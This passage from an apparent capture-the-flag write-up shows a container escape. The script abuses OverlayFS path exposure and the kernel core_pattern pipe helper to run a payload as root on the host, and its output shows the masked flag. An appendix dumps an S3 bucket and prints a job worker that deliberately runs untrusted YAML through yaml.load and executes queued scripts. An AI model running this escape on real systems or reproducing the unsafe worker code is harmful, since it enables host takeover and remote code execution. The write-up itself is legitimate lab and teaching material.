  match($4,/upperdir=([^,]+)/,a);
  if (a[1]) print a[1]
}' /proc/mounts | head -1)"

# Register the host-visible payload as the core dump pipe helper.
# The leading | makes the kernel execute the path as a helper command.
echo 0 > /proc/sys/kernel/core_pipe_limit
echo "|$upperdir/tmp/pwn.sh" > /proc/sys/kernel/core_pattern

# Trigger a controlled crash to make the kernel run the helper.
# Sends `SIGSEGV` to the bash process, causing a segmentation-fault-style crash
ulimit -c unlimited
/bin/bash -c 'kill -SEGV $$' || true

cat /tmp/host-root.txt

The important part was the path translation: the container created /tmp/pwn.sh, OverlayFS exposed it to the host as $upper/tmp/pwn.sh, and core_pattern made the host execute that path when a process crashed.

axura@labyrinth:~
[root@5cc3deec0f4c src]# chmod +x read_flag.sh
[root@5cc3deec0f4c src]# ./read_flag.sh
./read_flag.sh: line 19:  5350 Segmentation fault      (core dumped) /bin/bash -c 'kill -SEGV $$'
8*******************************7

core_pattern supplied the missing host-side execution primitive. OverlayFS only gave a host-visible path; the kernel core-dump pipe made the host execute that path as the crash handler.


4 APPENDIX

4.1 S3 Bucket Dump

The artifacts bucket name nimbus-dev-artifacts on often holds source archives, build outputs, or deployment leftovers. Inside the worker container, it only contained source/worker.py.

axura@labyrinth:~
worker@d4aeade565bd:~$ aws --endpoint-url http://floci:4566 s3 ls s3://nimbus-dev-artifacts --recursive
2026-06-21 08:26:41       1755 source/worker.py

So the next step was to pull that file and compare it with the running copy /app/woker.py already found in the container:

axura@labyrinth:~
worker@d4aeade565bd:~$ aws --endpoint-url http://floci:4566 s3 cp s3://nimbus-dev-artifacts/source/worker.py /tmp/worker.py.s3
download: s3://nimbus-dev-artifacts/source/worker.py to ../../tmp/worker.py.s3
worker@d4aeade565bd:~$  wc -c /tmp/worker.py.s3 /app/worker.py
1755 /tmp/worker.py.s3
1826 /app/worker.py
3581 total

The sizes did not match exactly, which meant the bucket copy was not identical to the running /app/worker.py.

Check app/worker.py on worker container:

Python
"""Nimbus job worker. Polls SQS, parses messages with yaml.load (vulnerable)."""
import os, time, subprocess, boto3, yaml

ENDPOINT  = os.environ.get("AWS_ENDPOINT_URL", "http://aws.nimbus.htb")
QUEUE_URL = os.environ.get("QUEUE_URL", "http://aws.nimbus.htb/000000000000/nimbus-jobs")
REGION    = os.environ.get("AWS_DEFAULT_REGION", "us-east-1")
POLL_SECS = 5

print(f"[worker] starting; endpoint={ENDPOINT} queue={QUEUE_URL}", flush=True)
sqs = boto3.client("sqs", endpoint_url=ENDPOINT, region_name=REGION)

def handle_message(body):
    print(f"[worker] received message ({len(body)} bytes)", flush=True)
    job = yaml.load(body, Loader=yaml.Loader)  # vulnerable
    if not isinstance(job, dict):
        print("[worker] message did not parse to a dict, skipping", flush=True)
        return
    name = job.get("name", "<unnamed>")
    script = job.get("script", "")
    print(f"[worker] running job '{name}'", flush=True)
    if script:
        result = subprocess.run(["python3", "-c", script],
            capture_output=True, text=True, timeout=30)
        print(f"[worker] stdout: {result.stdout}", flush=True)
        if result.stderr: print(f"[worker] stderr: {result.stderr}", flush=True)

def main():
    while True:
        try:
            resp = sqs.receive_message(QueueUrl=QUEUE_URL,
                MaxNumberOfMessages=1, WaitTimeSeconds=POLL_SECS)
            for m in resp.get("Messages", []):
                try: handle_message(m["Body"])
                except Exception as e: print(f"[worker] error: {e}", flush=True)
                finally:
                    sqs.delete_message(QueueUrl=QUEUE_URL, ReceiptHandle=m["ReceiptHandle"])
        except Exception as e:
            print(f"[worker] poll error: {e}", flush=True)
            time.sleep(POLL_SECS)

if __name__ == "__main__":
    main()
Expand

source/worker.py on S3 bucket:

Python
"""Nimbus job worker"""
import os, time, subprocess, boto3, yaml

ENDPOINT  = os.environ.get("AWS_ENDPOINT_URL", "http://aws.nimbus.htb")
QUEUE_URL = os.environ.get("QUEUE_URL", "http://aws.nimbus.htb/847219365028/nimbus-jobs")
REGION    = os.environ.get("AWS_DEFAULT_REGION", "us-east-1")
POLL_SECS = 5

print(f"[worker] starting; endpoint={ENDPOINT} queue={QUEUE_URL}", flush=True)
sqs = boto3.client("sqs", endpoint_url=ENDPOINT, region_name=REGION)

def handle_message(body):
    print(f"[worker] received message ({len(body)} bytes)", flush=True)
    job = yaml.load(body, Loader=yaml.Loader)
    if not isinstance(job, dict):
        print("[worker] message did not parse to a dict, skipping", flush=True)
        return
    name = job.get("name", "<unnamed>")
    script = job.get("script", "")
    print(f"[worker] running job '{name}'", flush=True)
    if script:
        result = subprocess.run(["python3", "-c", script],
            capture_output=True, text=True, timeout=30)
        print(f"[worker] stdout: {result.stdout}", flush=True)
        if result.stderr: print(f"[worker] stderr: {result.stderr}", flush=True)

def main():
    while True:
        try:
            resp = sqs.receive_message(QueueUrl=QUEUE_URL,
                MaxNumberOfMessages=1, WaitTimeSeconds=POLL_SECS)
            for m in resp.get("Messages", []):
                try: handle_message(m["Body"])
                except Exception as e: print(f"[worker] error: {e}", flush=True)
                finally:
                    sqs.delete_message(QueueUrl=QUEUE_URL, ReceiptHandle=m["ReceiptHandle"])
        except Exception as e:
            print(f"[worker] poll error: {e}", flush=True)
            time.sleep(POLL_SECS)

if __name__ == "__main__":
    main()
Expand

The important difference was the default queue URL. The S3 artifact pointed to the account-scoped path 847219365028/nimbus-jobs, while the running container had been rewritten to the all-zero LocalStack-style path 000000000000/nimbus-jobs. Even so, this did not turn into a stronger lead.